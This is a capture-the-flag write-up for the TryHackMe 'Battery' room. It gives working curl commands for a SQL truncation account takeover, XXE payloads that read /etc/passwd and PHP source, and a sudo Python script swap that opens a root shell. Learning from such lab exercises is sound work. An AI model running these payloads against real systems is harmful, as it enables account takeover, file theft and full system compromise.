> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe Battery Writeup: SQL Truncation, XXE, and Python Privesc
- URL: https://taiwanding.com/en/tryhackme-battery-writeup/
- Published: 2025-10-12T15:52:18.000Z
- Updated: 2026-07-15T02:49:57.000Z
- Author: Kevin Chen
- Tags: #en, #en-ctf

## Room Information

- **Platform**: TryHackMe
- **Room Name**: Battery
- **Difficulty**: Medium
- **Goal**: Capture the Base Flag, User Flag, and Root Flag
- **Theme**: Penetration testing a banking management system
- **Link**: [https://tryhackme.com/room/battery](https://tryhackme.com/room/battery?ref=taiwanding.com)
- Note: For this box, I've added a lot of extra context in the lessons-learned section, so be sure to read them alongside the walkthrough!

## Reconnaissance

### Nmap Scan

```bash
nmap -sV -sC -p 22,80 10.201.51.19 -Pn

```

**Scan results**:

- **Port 22**: OpenSSH 6.6.1p1 Ubuntu
- **Port 80**: Apache httpd 2.4.7

### Directory Enumeration

```bash
gobuster dir -u http://10.201.51.19/ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 20

```

**Paths discovered**:

- `/admin.php` \- Login page
- `/register.php` \- Registration page
- `/report` \- An executable file (16912 bytes)
- `/scripts/` \- JavaScript scripts directory
- `/forms.php` \- A page that requires admin privileges

### Step 1: Analyzing the Report Binary

Download and decompile

```bash
# Download the binary
wget http://10.201.51.19/report

# Decompile with Ghidra or use strings
strings report | grep -iE "admin|user|@"

```

**Key findings**:

```
admin@bank.a
support@bank.a
contact@bank.a
cyber@bank.a
admins@bank.a
sam@bank.a
admin0@bank.a
super_user@bank.a
control_admin@bank.a
it_admin@bank.a
guest  # The only usable login account

```

**What the binary does**:

- Login: `guest/guest`
- Option 4 lets you update a password (but it only accepts the email `admin@bank.a`)

### Step 2: SQL Truncation Attack

Finding the vulnerability  
Inspect the registration form:

```bash
curl http://10.201.51.19/register.php

```

**Key finding**:

```html
<input type="text" name="uname" placeholder="Username" maxlength="12">

```

- The frontend limits the username to 12 characters
- `admin@bank.a` is exactly 12 characters
- But the backend column might allow a longer length

Bypassing the frontend limit

```bash
# When registering, use: admin@bank.a + spaces + any character
curl -X POST http://10.201.51.19/register.php \
  -d "uname=admin@bank.a   x&bank=ABC&password=test123&btn=Register me!" \
  -L

```

**How the attack works**:

1. MySQL truncates characters that exceed the column length
2. Trailing spaces are stripped automatically
3. Result: we successfully overwrite the password of the original `admin@bank.a` account!

**Success message**:

```html
<script>alert('Registered successfully!')</script>

```

### Logging in as Admin

```bash
# Log in with the new password
curl -c admin_cookies.txt -X POST http://10.201.51.19/admin.php \
  -d "uname=admin@bank.a&password=test123&btn=Submit" \
  -L

```

### Step 3: Exploiting XXE

Finding the XXE endpoint  
Visiting `forms.php`, we spot this JavaScript code:

```javascript
function XMLFunction(){
    var xml = '' +
        '<?xml version="1.0" encoding="UTF-8"?>' +
        '<root>' +
        '<name>' + $('#name').val() + '</name>' +
        '<search>' + $('#search').val() + '</search>' +
        '</root>';
    xmlhttp.open("POST","forms.php",true);
    xmlhttp.send(xml);
};

```

Testing an XXE payload

```bash
# Read /etc/passwd
curl -b admin_cookies.txt -X POST http://10.201.51.19/forms.php \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>
<name>1</name>
<search>&xxe;</search>
</root>'

```

**Successful output**:

```
Sorry, account number root:x:0:0:root:/root:/bin/bash
[...]
cyber:x:1000:1000:cyber,,,:/home/cyber:/bin/bash
yash:x:1002:1002:,,,:/home/yash:/bin/bash
is not active!

```

Reading source code with a PHP wrapper

```bash
# Read the acc.php source (base64 encoded)
curl -b admin_cookies.txt -X POST http://10.201.51.19/forms.php \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/acc.php">]>
<root>
<name>1</name>
<search>&xxe;</search>
</root>'

```

**Inside the returned HTML we find a comment**:

```php
//MY CREDS :- cyber:super#secure&password!

```

### Step 4: SSH Login and the User Flag

SSH connection

```bash
ssh cyber@10.201.51.19
# Password: super#secure&password!

```

Grabbing Flag1

```bash
cyber@ubuntu:~$ ls
flag1.txt  run.py

cyber@ubuntu:~$ cat flag1.txt
THM{Redacted}

```

### Step 5: Privilege Escalation to Root

Check sudo privileges

```bash
cyber@ubuntu:~$ sudo -l
User cyber may run the following commands on ubuntu:
    (root) NOPASSWD: /usr/bin/python3 /home/cyber/run.py

```

Check file permissions

```bash
cyber@ubuntu:~$ ls -la run.py
-rwx------ 1 root root 349 Nov 15  2020 run.py

cyber@ubuntu:~$ ls -ld /home/cyber
drwx------ 3 cyber cyber 4096 Nov 17  2020 /home/cyber

```

**Key findings**:

- `run.py` is owned by root and can't be edited
- But we have full permissions over the `/home/cyber` directory!

Hijacking run.py

```bash
# 1. Delete root's run.py
rm run.py

# 2. Create a malicious run.py
cat > run.py << 'EOF'
import os
os.system('/bin/bash')
EOF

# 3. Run it with sudo to get a root shell
sudo /usr/bin/python3 /home/cyber/run.py

```

Collecting all the flags

```bash
root@ubuntu:~# cat /root/root.txt
THM{Redacted}

root@ubuntu:~# cat /home/yash/flag2.txt
THM{Redacted}

```

## Key Takeaways

### 1\. SQL Truncation Attack

- **Principle**: Abuse the database column length limit and character-truncation behavior
- **Conditions**:
  - The frontend has a maxlength limit (which can be bypassed)
  - The backend column has a length limit
  - MySQL automatically strips trailing spaces
- **Exploitation**: Register as `admin@bank.a___x` (underscores represent spaces)

### 2\. XXE (XML External Entity) Vulnerability

- **Telltale sign**: The application accepts and parses XML input

**Advanced trick**: Use a PHP wrapper to read source code

```xml
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/path/to/file">

```

**Basic payload**:

```xml
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>

```

## Lessons Learned

1. **Never trust frontend restrictions**: maxlength can be bypassed with curl or Burp Suite
2. **Database quirks matter**: Understand MySQL's character-truncation behavior

### On Step 1: Analyzing the Report Binary

This step ate up a lot of time, because I dug into what the binary actually does and even tried decompiling it in Ghidra to see if there was a hard-coded admin password or any way to crash the program. Neither panned out, so I quickly pivoted back to the web side to look for vulnerabilities there.

### On Step 2: SQL Truncation Attack

Honestly, I'd never heard of this technique before and it never crossed my mind. For the admin login, I tried sqlmap to brute-force for SQL injection and hydra to brute-force the admin password directly, but both failed. I have a vague memory of doing a similar exercise where you could overwrite the preceding data when registering an account, but back then I never dug deep enough to learn that the attack was called SQL truncation. I got stuck on this step, so I ended up consulting a writeup\~

[TryHackMe - BatteryBattery es una maquina de TryHackMe, encontramos correos dentro de un fichero y mediante SQL Truncation Attack obtuvimos acceso a un panel de administracion en donde explotamos una vulnerabilidad XXE por la cual obtuvimos credenciales de acceso. La mala configuracion de permisos en un script de python nos permitio escalar privilegios.![](https://static.ghost.org/v5.0.0/images/link-icon.svg)sckullsckull![](https://taiwanding.com/content/images/thumbnail/cover.png)](https://sckull.github.io/posts/battery/?ref=taiwanding.com)

### On Step 3: Exploiting XXE

I knew this was an XXE attack, and you can actually figure it out without an admin account: using Burp Suite and logging in with your own test/test credentials, you can already capture the response from forms.php. Unfortunately, you still need to be logged in as admin to actually trigger the XXE attack, otherwise you're blocked at the door. The difference between the two responses is shown below.

```bash
<script>alert('Only Admins can access this page!')</script>
vs.
Sorry, account number [contents of /etc/passwd] is not active!
```

### On Step 5: Privilege Escalation to Root

Looking back, because I grabbed the root flag before the user flag, if you go into yash's home directory you'll find two files: root.txt and fernet. The former hints at the privilege-escalation method we used, while the latter reveals yash's password. Here's the relevant decoding method:

```bash
from cryptography.fernet import Fernet

key = b"7OEIooZqOpT7vOh9ax8arbBeB8e243Pr8K4IVWBStgA="
encrypted = b"gAAAAABfs33Qms9CotZIEBMg76eOlwOiKU8LD_mX2F346WXXBVIlXWvWGfreAX4kU5hjGXf0PiwtP0cmOm5JSUI7zl03V1JKlA=="

cipher = Fernet(key)
password = cipher.decrypt(encrypted)
print(password.decode())  # yash's password
```

That said, this is just a bonus, since we already had the root flag and didn't bother tracing back how you'd hop from cyber to yash and then to root.